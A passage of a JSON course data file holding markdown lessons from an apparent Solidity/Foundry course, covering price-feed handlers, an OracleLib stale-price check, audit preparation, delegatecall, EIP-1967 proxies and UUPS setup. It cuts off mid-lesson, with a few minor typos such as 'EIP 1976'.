importantly, remember to enjoy the journey - because that's where the real learning happens.\n", + "updates": [] + }, + { + "id": "aab32068-01bb-469f-8341-d07424a92369", + "number": 23, + "title": "Create the price feed handler", + "slug": "defi-price-feed-handler", + "folderName": "23-defi-price-feed-handling", + "description": "The lesson focuses on integrating price feed updates in smart contract handlers. It covers the creation of functions for updating collateral prices and emphasizes the importance of handling price fluctuations to maintain protocol integrity.", + "duration": 8, + "videoUrl": "5k3jTN7EesA", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/23-defi-price-feed-handling/+page.md", + "markdownContent": "---\ntitle: Price Feed Handling\n---\n\n_Follow along the course with this video._\n\n\n\n# Enhancing Smart Contracts with Handlers and Invariant Testing In DSC Engine\n\nIn the smart contract world, it's crucial to simulate the entire lifecycle of our contracts. And to achieve this, handlers are a crucial part of the puzzle. However, their utility extends beyond just handling the DSCEngine. In fact, handlers can effectively simulate any contract we want to test on the blockchain.\n\nWhen creating handlers, we often interact with various other contracts. Some of these may include the price feed, the WETH (Wrapped Ether) token, and the wrapped Bitcoin token.\n\n## Introducing Price Feed Updates In Our Handler\n\nGiven their significant impact on the protocol, it's imperative to incorporate price feed updates in our handler. In order to achieve this feat, we start by importing the MockV3Aggregator.\n\n```js\nimport { MockV3Aggregator } from \"mocks/MockV3Aggregator.sol\";\n```\n\nThe MockV3Aggregator has functions that ease the process of updating a price, allowing our protocol to conveniently update prices. Once we have imported the MockV3Aggregator, we can extract the WETH price from our system using the view function `DSE get collateral token price feed()`.\n\nWe can now declare a new public `ethUsdPriceFeed` variable of type `MockV3Aggregator`. Your constructor should look something like this:\n\n```js\n...\nimport { MockV3Aggregator } from \"mocks/MockV3Aggregator.sol\";\n...\ncontract Handler is Test {\n ...\n MockV3Aggregator public ethUsdPriceFeed;\n ...\n constructor(DSCEngine _dscEngine, DecentralizedStableCoin _dsc){\n ...\n ethUsdPriceFeed = MockV3Aggregator(dsce.getCollateralTokenPriceFeed(address(weth)));\n ...\n }\n}\n```\n\nNow that we successfully have the ETH USD price feed, it's time to include a new function in our handler. This will involve updating the collateral price to a given price feed.\n\n```js\nfunction updateUpdateCollateral(uint96 newPrice) public {...}\n```\n\nNext, we need to convert the uint96 to an int256 because price feeds intake int256 data types, then we use this `newPriceInt` to update the price in our `ethUsdPriceFeed`:\n\n```js\nfunction updateUpdateCollateral(uint96 newPrice) public {\n int256 newPriceInt = int256(uint256(newPrice));\n ethUsdPriceFeed.updateAnswer(newPriceInt);\n}\n```\n\nAnd voilà! We now have a function that updates the collateral price in our handler.\n\n## Testing the Handler\n\nOnce our handler is complete, it's time to test it to see how it fares. Will it run smoothly or encounter some errors?\n\nWhen we do run it, you may find it detected a sequence where there was an issue. It indicates a violation of our invariant: the total supply doesn't add up to the sum of the WETH value and Bitcoin value.\n\nOn further inspection of the sequence, we discover a process: first, it deposited some collateral, followed by minting some DSC. Then, it updated the collateral price to a certain value, say 471. This changed the ETH collateral from its existing rate to 471, an immense difference which caused the system to revert. It had minted a humongous amount of DSC which broke the system.\n\nThis is a crucial reminder of the importance of volatility in our system. Our system can easily get busted if the price of an asset plummets or spikes swiftly. So, handling price fluctuations becomes pivotal in maintaining the integrity of the protocol.\n\n\n\nTherefore, it becomes impetrative to revisit our assumptions and protocols when designing the system. For instance, we assumed a liquidation bonus of 10%, and that the collateral always needs to be 200% over collateralized. In case the price drops significantly, resulting in let's say just 50% collateralization, our system breaks and the invariant gets compromised.\n\nTherefore, we should either brainstorm ways to prevent such drastic reductions in collateralization, or acknowledge that this is a recognized loophole, where the protocol can turn worthless if the price fluctuates wildly. While neither seems to be a satisfactory solution, these are challenges we need to keep in mind, thereby proving the supreme importance of invariant tests.\n\n\n\n## Wrapping Up\n\nThere's an exciting journey awaiting us ahead. We have to learn about proper Oracle use and write many more tests (a task we leave up to you!). We also need to prepare ourselves for a smart contract audit. All of this, while juggling with our existing contracts like the decentralized stablecoin.\n\nIt's an exhilarating journey that is all about continuous learning, discovery, and improvements! Stay tuned for more exciting updates in our upcoming blogs.\n", + "updates": [] + }, + { + "id": "6e1c63ff-90a4-43c1-be61-f68f9cb4b376", + "number": 24, + "title": "Manage your oracles connections", + "slug": "managing-oracles-connections", + "folderName": "24-defi-oracle-lib", + "description": "This lesson addresses the implementation and management of Chainlink Price Feeds in DSCEngine. It includes creating a library for ensuring price feed accuracy and discusses the implications of stale prices on the protocol's functionality.", + "duration": 9, + "videoUrl": "2rUhXKYNwWU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/24-defi-oracle-lib/+page.md", + "markdownContent": "---\ntitle: OracleLib\n---\n\n_Follow along the course with this video._\n\n\n\n# Checking Chainlink Price Feeds with DSC Engine\n\nLet's discuss the process of using Chainlink Price Feeds in our `DSCEngine`. When working with Oracles, an assumption that we often make in our protocol is that these price feeds would work seamlessly. However, price feeds are systems just like any other and therefore can have potential glitches. To ensure that our protocol doesn't end up breaking due to a malfunction in the price feed system, we can put some safety checks in our code. This section will guide you through the process of putting some checks on price feeds using a library methodology we developed.\n\n## Setting Up The Library\n\n\n\nLet start by creating a libraries folder. In this folder, we'll make a new contract titled `OracleLib.sol`. The purpose of this contract is to ensure that the prices in the price feed aren't stale. Chainlink price feeds have a unique feature known as the heartbeat, which updates the prices every 3600 seconds.\n\nAn essential check we need to enforce in our contract is that these prices should update every 3600 seconds. If not, our contract should pause its functionality. It's worth noting that by freezing our protocol's functionality, if Chainlink were to explode, that money will be frozen on the protocol. For now we'll recognize this as a known issue and move on.\n\n## Creating The Check Function\n\nIn a more advanced setting, when shifting towards a production product, even the smallest details start to matter more and more. Effective function creation becomes even more critical.\n\nFirst, we create a `staleCheckLatestRoundData()` function. The input parameter will take an `AggregatorV3Interface priceFeed`. This will be a public view function and would return different values like `uint80, int256, uint256, uint256`, and `uint80`.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {AggregatorV3Interface} from \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n...\nlibrary OracleLib {\n function staleCheckLatestRoundData(AggregatorV3Interface priceFeed) public view returns (uint80, int256, uint256, uint256, uint80){...}\n}\n```\n\nIn this function, we will call `priceFeed.latestRoundData()`. Since each price feed has its own heartbeat, we should ask them what their heartbeat is. For simplicity, we hardcode ours for `three hours`.\n\nWe calculate the seconds since the last price update, and if it's greater than our timeout, we revert with a new error: `Oraclelib__StalePrice()`.\n\n```js\nlibrary OracleLib {\n error OracleLib__StalePrice();\n\n uint256 private constant TIMEOUT = 3 hours;\n\n function staleCheckLatestRoundData(AggregatorV3Interface priceFeed) public view returns (uint80, int256, uint256, uint256, uint80){\n (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) = priceFeed.latestRoundData();\n\n uint256 secondsSince = block.timestamp - updatedAt;\n if(secondsSince > TIMEOUT) revert OracleLib__StalePrice();\n return (roundId, answer, startedAt, updatedAt, answeredInRound)\n }\n}\n```\n\nNow, in our `DSCEngine`, every time we call `latestRoundData`, we swap it out for `staleCheckLatestRoundData`, thanks to our library.\n\nMake sure to remember to import `Oraclelib` from libraries and to specify the that we're using it for `AggregatorV3Interface`s.\n\n```js\n...\nimport {OracleLib} from \"./libraries/OracleLib.sol\";\n...\ncontract DSCEngine is ReentrancyGuard{\n ...\n using OracleLib for AggregatorV3Interface;\n ...\n function getUsdValue(address token, uint256 amount) public view returns (uint256){\n AggregatorV3Interface priceFeed = AggregatorV3Interace(s_priceeFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n ...\n }\n ...\n}\n```\n\nNote: There are more functions than shown here that will need updating!\n\nOnce all of these changes have been done, run the `forge test` which will run the entire test suite, including the new invariant test suite. Following a successful run, we can conclude that our code is functioning as expected!\n\n## Future Considerations\n\nAlthough we've done a lot of refactoring, there are still several ways the code can be improved. For example, writing additional tests for the contacts. Running `forge coverage` can help identify areas needing improvement.\n\n\n\nLet's mark this as our next step — testing these contracts more thoroughly to ensure that we've covered all the possible edge cases and have robust error-checking before pushing it to production. Until then — happy coding!\n", + "updates": [] + }, + { + "id": "f47144e5-fe2d-4dc1-94d8-ac79b2a044c1", + "number": 25, + "title": "Preparing your protocol for an audit", + "slug": "preparing-your-protocol-for-an-audit", + "folderName": "25-defi-audit-prep", + "description": "This lesson provides a comprehensive guide on preparing smart contracts for audits. It emphasizes the importance of audits, offers a readiness checklist, and introduces the concept", + "duration": 2, + "videoUrl": "TIIOeeSMUw8", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/25-defi-audit-prep/+page.md", + "markdownContent": "---\ntitle: Audit Prep\n---\n\n_Follow along the course with this video._\n\n\n\n# Preparing for Your Smart Contract Audit: A Comprehensive Guide\n\nIn the vast and rapidly evolving world of smart contracts, security is paramount. While the course encompasses various aspects of smart contract development, one topic that we've briefly touched upon, but warrants a closer, more focused discussion is that of **smart contract audits**. While we've yet to delve deep into the details of security, this section aims to provide some guidance on preparing for smart contract audits.\n\n\n\n## What Are Smart Contract Audits?\n\nA smart contract audit involves thorough scrutinizing of the smart contract's codebase to identify potential security vulnerabilities, errors, or violation of best practices. Think of it as a rigorous debugging process that goes beyond just identifying errors — it ensures the robustness of your smart contract by checking that it functions as expected without any security threats.\n\n\n\n## Audit Readiness Checklist: Your Go-to Guide\n\nNow, you might wonder: Where should I begin? Good question, and here’s a head start: refer to the audit readiness checklist on the **[Nascent XYZ GitHub repo](https://github.com/nascentxyz/simple-security-toolkit/blob/main/audit-readiness-checklist.md)**.\n\nThis checklist offers an array of pointers that you need to keep in mind while conducting your tests in preparation for the smart contract audit. It’s like a playbook, guiding you to ensure your smart contract codebase is on par with the best global standards.\n\n## An Introduction to Security\n\nIn case you're looking forward to gaining a fundamental grasp of security from a smart contract development perspective, stay tuned for the upcoming section of our course titled \"**Introduction to Smart Contract Security**\".\n\nWe'll cover the nitty-gritty of security measures. This extensive section will delve into the lower level security facets that are vital for all smart contract developers.\n\nUnderstanding these security basics is crucial to ensure your smart contracts are safe, robust, and reliable within the blockchain network.\n\n\n\n## Wrapping Up\n\nA smart contract audit may seem daunting at first as it requires meticulous attention to detail, a thorough understanding of your codebase, and in-depth knowledge of the prevailing threats and vulnerabilities. However, it's an essential step in ensuring the safety and reliability of your smart contract protocols.\n\nThe aforementioned audit readiness checklist will be your trusted ally through this process and don't forget to keep an eye out for our upcoming course section on security, which we're confident will prove invaluable.\n\nIn the world of smart contract development, security isn't the most glamorous part of the job. But it's potentially the most important. By paying due attention to audits and security measures, you're not just bulletproofing your code; you're bolstering the integrity of the projects built on it. It's not just about finding and fixing flaws; it's about fostering trust.\n\nStay tuned. Stay secure.\n", + "updates": [] + }, + { + "id": "8c36523c-6dbf-4c8c-adff-e14ed269494d", + "number": 26, + "title": "Section recap", + "slug": "defi-recap", + "folderName": "26-defi-recap", + "description": "This lesson serves as a comprehensive recap of the advanced project covered in the Web 3.0 course. It celebrates the milestones achieved in exploring varied concepts such as Decentralized Finance (DeFi), advanced fuzzing techniques, digital security, and working with Oracle", + "duration": 4, + "videoUrl": "5jJzxeqEQ-s", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/26-defi-recap/+page.md", + "markdownContent": "---\ntitle: DeFi Recap\n---\n\n_Follow along the course with this video._\n\n\n\n# Celebrating a Milestone In Web 3.0 Project Development\n\nIn the world of programming and development, nothing quite matches the thrill, satisfaction, and accomplishment felt when navigating through a complex project and finally bringing it all together. This sense of achievement isn't just well-deserved, it is 1000% a badge of honor you should proudly display on your GitHub repo. If you've successfully navigated this far through the hardest, most complicated, and most advanced project in our Web 3.0 course, I tip my hat to you.\n\nThis section will recap the intricacies and nuances of our recent project, celebrate the milestones achieved, and look forward to what's next.\n\n## Diving Into the Deep End of Web 3.0\n\n\n\nThis project drew on varied and cutting-edge concepts, many of which are at the forefront of Web 3.0's evolutionary curve. We delved into Decentralised Finance (DeFi), got hands-on with state-of-the-art fuzzing techniques and even dipped our toes into the landscape of digital security. We wrote an enormously advanced test suite, worked with Oracles, and built deploy scripts from scratch.\n\nIn all these, the emphasis was on leveraging safer methods and learning through interaction with diverse libraries. The course project also explored `failOnRevert`s and runs and depth of invariance tests.\n\nYet, the journey has not been devoid of learning omissions. We've not covered the crafting of a proper README. This is a 100% essential part of any comprehensive project and I strongly recommend you write one. To understand what it entails, you can refer to the [foundry-defi-stablecoin-f23 README](https://github.com/Cyfrin/foundry-defi-stablecoin-f23/blob/main/README.md) for more clarity on its structure and content.\n\nAs I've said before, this project is lined up for an audit. The journey, as well as the audit reports, will be diligently documented in a new branch on this repository. Follow it and you can take cues from it for your own project's security journey. To successfully launch production code, you need to intimately understand security paths and the mechanics at play.\n\n## Time to Recharge\n\nThe labour of software development can be taxing, which is why after your glorious achievement, you deserve a break. After your well-earned rest, I urge you to push this codebase up to GitHub and start tidying it - removing any redundant code and adding comments where necessary.\n\nThere's also an identified glaring issue with this project, which you might consider as your next challenge - perfect for after a break. Our code becomes insolvent if the price of the assets collapse too quickly. Perhaps you can come up with an ingenious way to fix it, and then maybe even launch your own stablecoin. Why not, right?\n\n## Three More Steps To Glory\n\n\n\nEnergized after your break? Great! We only have three more lessons left to conclude this course. Here's a peek at what's coming next:\n\n- Lesson 13: Foundry Upgrades\n- Lesson 14: Foundry Governance | Plutocracy (And why it's bad)\n- Lesson 15: Introduction to Smart Contract Security (All security interested parties...get here)\n\nThese topics are significantly more manageable than what you've already faced in the previous lessons. So ease back into your seat, and get ready for the next exciting stage of your Web 3.0 journey.\n\nPat yourself on the back, and relish in the success of coming this far, it’s a milestone worth celebrating. Just three more steps, and you will have triumphantly conquered this comprehensive course. Here's to those final steps, and to seeing you at the finish line very soon!\n", + "updates": [] + }, + { + "id": "579492c9-95ff-411e-8149-1ee0c1967c98", + "number": 27, + "title": "Bonus: introduction to Lens Protocol", + "slug": "introduction-to-lens-protocol", + "folderName": "27-defi-lens-protocol", + "description": " This bonus lesson introduces the Lens Protocol, a decentralized social platform by the Aave team, presented by Nader Dabit, the head of DevRel for Lens Protocol. Lens Protocol empowers developers to build social media applications in the decentralized space, leveraging Web3 features such as native payments, ownership, and composability.", + "duration": 3, + "videoUrl": "0ULyUU1kIJs", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/27-defi-lens-protocol/+page.md", + "markdownContent": "---\ntitle: Lens Protocol\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding Lens Protocol - The Decentralized Social Layer of Web3\n\nHello everyone, in today's section we are delving into the trenches of protocols that are not just pushing the envelope, but actively redefining the possibilities of the Web3 community. I absolutely <3 the Aave Protocol and the Aave team's consistent efforts in delivering protocols, products, and services that are enhancing the Web3 space.\n\nOne such noteworthy protocol is the Lens Protocol. Noted as a decentralized social platform, it enables building social media applications in the decentralized space. To provide a detailed overview of the Lens Protocol, we have Nader Dabit, the head of DevRel for Lens Protocol at the Aave team.\n\n\n\n## Embracing Web3 with Lens Protocol\n\nHello folks! I'm Nader Dabit, walking you through a quick introduction of Lens Protocol and its relevance to you as a smart contract or solidity engineer.\n\nLens, the social layer of Web3, equips developers with the power to construct social applications or include social features in their current applications. With a whopping 4.9 billion users globally using social applications, it is a feature widely recognized and valued.\n\nThese applications open the gateway to numerous value propositions, enabling developers to tap and exploit the opportunities they present. When combined with Web3 features like native payments, ownership, and composability, it elevates the potential to new heights offering much more robustness when compared to traditional social applications or infrastructure.\n\n## Expanding the Horizons with Custom Modules\n\nLens allows developers to expand the core smart contracts by developing their custom modules. Imagine if Twitter, Instagram, or other social applications allowed developers to submit pull requests into their backends and APIs. This ability instigates a lot of captivating and potent functionality, inspiring developers to integrate innovative ideas into their applications, and branch out into other aspects of Web3 like DeFi.\n\n\n\nMoreover, Lens Smart Contracts can be invoked from other smart contracts. This flexibility facilitates developers aiming to build something composable with the Web3 social graph, making Lens an excellent platform to integrate.\n\n## Get On Board: Start Building on Lens\n\nFor those eager to get their hands dirty and start building on Lens, head over to the [Lens Documentation](https://docs.lens.xyz/docs). Don't forget to explore ways to deploy the protocol independently, get a closer look at the smart contract code, and fiddle around with it. Learn about creating and building your custom modules.\n\nStay tuned for more exciting insights and updates. Until next time, happy coding!\n\n\n\nIn closing,\n\n\n", + "updates": [] + } + ] + }, + { + "number": 4, + "id": "193661f5-5f98-45e4-a3c3-ffcaae84f194", + "title": "Upgradeable Smart Contracts", + "slug": "upgradeable-smart-contracts", + "folderName": "4-upgradeable", + "lessons": [ + { + "id": "fd66fe6b-cd83-46cd-b817-3d9a23889789", + "number": 1, + "title": "Introduction", + "slug": "introduction-to-upragadeable-smart-contracts", + "folderName": "1-upgradeable", + "description": "An introduction to upgradable smart contracts, discussing their advantages, risks, and different upgrade methodologies.", + "duration": 16, + "videoUrl": "Vkb_WVMkpRc", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/1-upgradeable/+page.md", + "markdownContent": "---\ntitle: Upgradeable Smart Contracts & Proxies\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nWelcome to another informative blog post on the world of smart contracts. In this lesson, we will take a closer look at upgradable smart contracts, exploring the good, the bad, and the vital information you need to use them.\n\nTo put this into perspective, upgradable smart contracts are a complex subject with potential drawbacks, which isn't the best route to default on. They sound great in theory, promising flexibility and adaptability. However, we've repeatedly seen that when there's too much centralized control over contracts, problems arise.\n\n\n\nLet's dig deeper to understand the nuance of this subject and why it's important for your career as a smart contract developer.\n\n\n\n## What Are the Downside of Upgradable Smart Contracts?\n\nIf you asked for real-life examples of where the potential downsides of upgradable smart contracts have manifested, it's safe to say we've got plenty. From hacks to lost funds, the risks are real.\n\nThis is where the immutable nature of smart contracts comes in - a feature that developers cherish since it implies that once a contract is deployed, nobody can modify or tamper with it. Interesting enough, the unchangeable aspect can become a pain if we want to upgrade a contract to perform new functions or squash a bug.\n\nThe exciting thing is, though the code deployed to an address is immutable, there's still room for change. In fact, smart contracts update all the time. Think token transfers or any functionality really—they frequently update their balances or variables. In other words, while the logic remains unchangeable, the contracts aren't as static as they seem.\n\n## Upgrading Your Smart Contracts: A Guided Approach\n\nSo, if upgrading smart contracts tampers with their essential immutability, how can we approach the situation more wisely? Let's look at three different patterns or philosophies we can use:\n\n1. Not really upgrading\n2. Social migration\n3. Proxy (with subcategories like metamorphic contracts, transparent upgradable proxies, and universal upgradable proxies)\n\n### Not Really Upgrading\n\nThe \"Not Really Upgrading\" method is the simplest form of \"upgrading\" a smart contract. The idea here is parameterizing everything—the logic we've deployed is there and that's what users interact with. This involves having setter functions that can change certain parameters.\n\nFor instance, if you have a set reward that distributes a token at a 1% rate every year, you can have a setter function to adjust that distribution rate. While it's easy to implement, it has limitations: unless you anticipated all possible future functionality when writing the contract, you won't be able to add it in the future.\n\nAnother question that arises is—who gets access to these functions? If a single person holds the key, it becomes a centralized smart contract, going against decentralization's core principle. To address this, you can add a governance contract to your protocol, allowing proportional control.\n\n### Social Migration\n\nIn line with maintaining the immutability of smart contracts, another method is social migration. It involves deploying a new contract and socially agreeing to consider the new contract as the 'real' one.\n\nIt has some significant advantages, the main being the adherence to the essential immutability principle of smart contracts. With no built-in upgradeability, the contract will function the same way, whether invoked now or in 50,000 years. But one major disadvantage is that you'd now have a new contract address for an already existing token. This would require every exchange listing your token to update to this new contract address.\n\nMoving the state of the first contract to the second one is also a challenging task. You need to devise a migration method to transport the storage from one contract to the other. You can learn more about the social migration method from [this blog post](https://blog.trailofbits.com/2018/09/05/contract-upgrade-anti-patterns/) written by Trail of Bits.\n\n### Proxies\n\nFinally, let's talk about proxies, the holy grail of smart contract upgrades. Proxies allow for state continuity and logical updates while maintaining the same contract address. Users may interact with contracts through proxies without ever realizing anything changed behind the scenes.\n\nThere are a ton of proxy methodologies, but three are worth discussing here: Transparent Proxies, Universal Upgradable Proxies (UPS), and the Diamond Pattern. Each has its benefits and drawbacks, but the focus is on maintaining contract functionality and decentralization.\n\n## Key Takeaways\n\nDealing with upgradable smart contracts can be complex, but understanding the pros and cons helps in making the right decision while developing smart contracts. Do remember that upgradable smart contracts might have their advantages, but they also come with their possible drawbacks, such as centralized control and increased potential for breaches. Always weigh the necessity against the risks before deciding on using upgradable smart contracts.\n\nThat was it for todays lesson. I hope you enjoyed it and learned something new. We well see you again on the next chapter so keep learning and keep building!\n", + "updates": [] + }, + { + "id": "13e81a5e-dda3-4896-9b0e-aa35d292c0e8", + "number": 2, + "title": "Using Delegatecall", + "slug": "solidity-delegate-call", + "folderName": "2-delegate-call", + "description": "Detailed explanation of delegate call in Solidity, its differences from regular call functions, and its implications in smart contracts.", + "duration": 9, + "videoUrl": "QfMep1yROLk", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/2-delegate-call/+page.md", + "markdownContent": "---\ntitle: Delegate Call\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nIn this lesson, we're going to go deep on Upgradeable Smart Contracts specially on the `Delegate Call`, how to construct proxies and upgradable smart contracts. This forms a fundamental part of the blockchain space, especially when building efficient and investor-friendly decentralized applications.\n\n## Delegate Call vs Call Function\n\nSimilar to a call function, 'delegate call' is a fundamental feature of Ethereum. However, they work a bit differently. Think of delegate call as a call option that allows one contract to borrow a function from another contract.\n\nTo illustrate this, let's look at an example using Solidity - an object-oriented programming language for writing smart contracts.\n\n```javascript\ncontract B {\n // NOTE: storage layout must be the same as contract A\n uint256 public num;\n address public sender;\n uint256 public value;\n\n function setVars(uint256 _num) public payable {\n num = _num;\n sender = msg.sender;\n value = msg.value;\n }\n}\n\n```\n\nOur Contract B has three storage variables (`num`, `sender` and `value`), and one function `setVars` that updates our `num` value. In Ethereum, contract storage variables are stored in a specific storage data structure that's indexed starting from zero. This means that `num` is at index zero, `sender` at index one and `value` at index two.\n\nNow, let's deploy another contract - Contract A. This one also has a `setVars` function. However, it makes a delegate call to our Contract B.\n\n```javascript\ncontract A {\n uint256 public num;\n address public sender;\n uint256 public value;\n\n function setVars(address _contract, uint256 _num) public payable {\n // A's storage is set, B is not modified.\n // (bool success, bytes memory data) = _contract.delegatecall(\n (bool success, ) = _contract.delegatecall(\n abi.encodeWithSignature(\"setVars(uint256)\", _num)\n );\n if (!success) {\n revert(\"delegatecall failed\");\n }\n }\n}\n```\n\nNormally, if `contract A` called `setVars` on `contract B`, it would only update `contract B's` `num` storage. However, by using delegate call, it says \"call `setVars` function and then pass `_num` as an input parameter but call it in _our_ contract (A). In essence, it 'borrows' the `setVars` function and uses it in its own context.\n\n## Understanding Storage in Delegate Call\n\nIt's interesting to see how delegate call works with storage on a deeper level. The borrowed function (`setVars` of Contract B) doesn't actually look at the names of the storage variables of the calling contract (Contract A) but instead, at their storage slots.\n\nIf we used the `setVars` function from Contract B using delegate call, first storage slot (which is `firstValue` in Contract A) will be updated instead of `num` and so on.\n\nOne other important aspect to remember is, the data type of the storage slots in Contract A does not have to match that of Contract B. Even if they are different, delegate call works by just updating the storage slot of the contract making the call.\n\n## Wrap Up\n\nIn conclusion, delegate call is a very handy function in Solidity that allows one contract to 'borrow' a function from another. However, care should be taken when using it as the storage slots in the calling contract get updated directly, without looking at the variable names or data types. It might lead to unpredictable behavior if overlook this aspect.\n\nFeel free to experiment with different contracts and function calls to witness delegate call in action. But remember, \"With great power, comes great responsibility!\"\n", + "updates": [] + }, + { + "id": "8efd33a4-8933-4287-9fa8-278c4d22007f", + "number": 3, + "title": "Overview of the EIP-1967", + "slug": "what-is-eip-1967", + "folderName": "3-eip-1967", + "description": "Overview of EIP-1967 and its role in proxy contracts, including a practical guide on building a minimalistic proxy.", + "duration": 12, + "videoUrl": "hKcWAjt-Lpw", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/3-eip-1967/+page.md", + "markdownContent": "---\ntitle: EIP-1967 Proxy\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nHave you ever wondered how a contract can be used as a singular address, but the underlying code can change? Buckle up, because we'll be exploring this topic by building a simple yet fascinating contract known as a “Proxy Contract”.\n\n## Before we begin\n\nThis walkthrough requires some advanced understanding of Ethereum and Solidity. However, if you're passionate about learning the ropes, feel free to tag along. We'll be basing our coding process on the Hardhat upgrades library.\n\nYou can find this library in the course repo, `SmallProxy.sol` template. Here's the Code: [Code Link](https://github.com/Cyfrin/foundry-upgrades-f23/blob/main/src/sublesson/SmallProxy.sol)\n\n## Welcome to the world of Proxy Contracts\n\nWe start with a minimalistic starting proxy template from OpenZeppelin library called `SmallProxy.sol`. This is a low-level contract built mostly in assembly, Yul.\n\n**Yul, you ask?**\n\nYul is an intermediate language that can be compiled to bytecode for different backends. It allows developers to write difficult yet super effective low-level code close to the opcodes.\n\n\n\nIn our proxy contract, we have this `delegate()` function that uses inline assembly (Yul). Though it does many things, its main job is to perform delegate call functionality.\n\nThe proxy utilizes two generic fallback functions to process unrecognized function calls:\n\n1. **Fallback:** Anytime the proxy contract receives data for an unrecognized function, it triggers a callback that involves our `delegate()` function.\n2. **Receive:** Whenever it receives a function it doesn't recognize, it'll call `Fallback` and `Fallback` calls our `delegate()` function.\n\nThrough these fallback functions, the contract processes data for an unrecognized function and delegates it to the implementation contract through delegate call.\n\n## Building a Minimalistic Proxy\n\nWith our understanding in place, let's take it a step further by setting and reading our implementation addresses.\n\nThe proxy we'll be creating will feature a function called `setImplementation()` which \"upgrades\" the smart contract by changing the delegated calls' recipient.\n\nThe `_implementation()` function will be there for us to see where the implementation contract is. There's one thing you need to know though:\n\n\n\nThis is where EIP 1976 comes into play. It’s an Ethereum Improvement Proposal for using certain storage slots specifically for proxies. We'll use EIP 1976 to store our implementation's address by assigning it into a constant storage slot.\n\nThe logic of our proxy will operate like this: If any contract calls our proxy contract excluding the `setImplementation` function, it'll be passed over to the stored implementation address from our constant storage slot.\n\nLet's take it step by step though.\n\n1. **Step 1 - Building the Implementation Contract**: We’ll start by creating a dummy contract `implementation A`. This contract will have a uint256 public value and a function to set the value.\n\n```js\ncontract ImplementationA {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n}\n```\n\n2. **Step 2 - Creating a Helper Function**: So that we can easily figure out how to get the data, we'll create a helper function named `getDataToTransact`.\n\n```js\nfunction getDataToTransact(\n uint256 numberToUpdate\n ) public pure returns (bytes memory) {\n return abi.encodeWithSignature(\"setValue(uint256)\", numberToUpdate);\n }\n```\n\n3. **Step 3 - Reading the Proxy**: Next up, we create a function in Solidity named `readStorage` to read our storage in small proxy.\n\n```js\nfunction readStorage()\n public\n view\n returns (uint256 valueAtStorageSlotZero)\n {\n assembly {\n valueAtStorageSlotZero := sload(0)\n }\n }\n}\n```\n\n4. **Step 4 - Deployment and Upgrading**: We'll now go ahead and deploy our small proxy and implementation A. Let’s grab implementation A's address and feed it into the `set implementation` function.\n5. **Step 5 - The Core Logic**: When we call the small proxy with data, it's going to delegate our call to implementation A and save the storage in the small proxy address. To process this, the proxy will use the `set value` function selector and update our small proxy's storage.\n6. **Step 6 - _Isometrics_**: To ensure that our logic works correctly, we'll read the output from the function `read storage`. To make this test even more exciting, let's create a new implementation contract `Implementation B` and update our code.\n\nEvery time someone calls `set value`, the function will return `new value + 2` instead of just the new value. We recompile and redeploy this contract then run `set implementation` with `Implementation B's` address.\n\nThe moment of truth? If we call our small proxy using the same data, then `read storage` should now return `779`.\n\n## Wrapping Up\n\nThis is just a simple representation of how we can upgrade contracts in Ethereum. With proxy contracts, clients can always interact with a single address (the proxy address) and have their function calls processed correctly even when the underlying logic changes.\n\nJust a heads up though, it is crucial to ensure that you understand who has access to upgrade the contract. If a single person can upgrade it, then we risk making our contract a single point of failure and the contract isn't even decentralized.\n\nThe proxy contract I used is simple and comes with its own share of limitations. Notably, it can't process function receiver clashes correctly. For example, if we have a function `set implementation` in the proxy and implementation, the proxy's function is the one that is always called.\n\nTo deal with these and other similar issues, there are two popular proxy patterns to consider; `Transparent` and `Universal upgradable proxy`.\n\nNotwithstanding, don't hesitate to make a new discussion about proxies in the discussions thread if you still find them perplexing.\n\nThis section is very advanced and requires a deep understanding of the previous sublessons. I strongly recommend that you growth hack your understanding by playing around with Solidity and remix.\n\nBelieve it or not, this is one of those areas where seeing is believing. So, don't just read here! Jump into remix and play around with this functionality. Break and fiddle till you get the hang of it.\n\n**Happy learning!**\n", + "updates": [] + }, + { + "id": "d18db6a9-9601-4a3e-9b08-74f7ac8f3ac5", + "number": 4, + "title": "OpeZeppelin UUPS proxies", + "slug": "introduction-to-uups-proxies", + "folderName": "4-uups", + "description": "Introduction to UUPS (Universal Upgradeable Proxy Standard) proxies in OpenZeppelin, showcasing their setup and usage.", + "duration": 22, + "videoUrl": "kL-7deasR0g", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/4-uups/+page.md", + "markdownContent": "---\ntitle: UUPS Setup\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n## Building an Upgradable Solidity Contract with Delegate Call\n\nIn today's sublesson, we are going to delve into the depths of Solidity; we're going to write an upgradable contract utilizing the power of the delegate call function. We will not only cover the theory but also offer a full example and walk you through it step by step.\n\n\n## Let's Get Started\n\nFirst, we are going to create a new directory for our project called `foundry-upgrades-f23`.\n\n```shell\nmkdir foundry-upgrades-f23\ncd foundry-upgrades-f23\n```\n\nNow, remember we recently mentioned the Transparent Proxy pattern and the UUPS Proxy pattern. Today, we will primarily focus on the latter. UUPS Proxy is a more robust pattern which allows upgrades to be handled by the contract implementation and can be removed eventually. This is immensely crucial if we want to make our contract upgrade as seldom as possible staying as close as possible to complete immutability.\n\nNow, let's initialize our project with:\n\n```shell\nforge init\n```\n\nAfter setup, we will delete the unnecessary files and start to build our very own minimal contracts: `BoxV1.sol` and `BoxV2.sol`.\n\n### BoxV1\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport 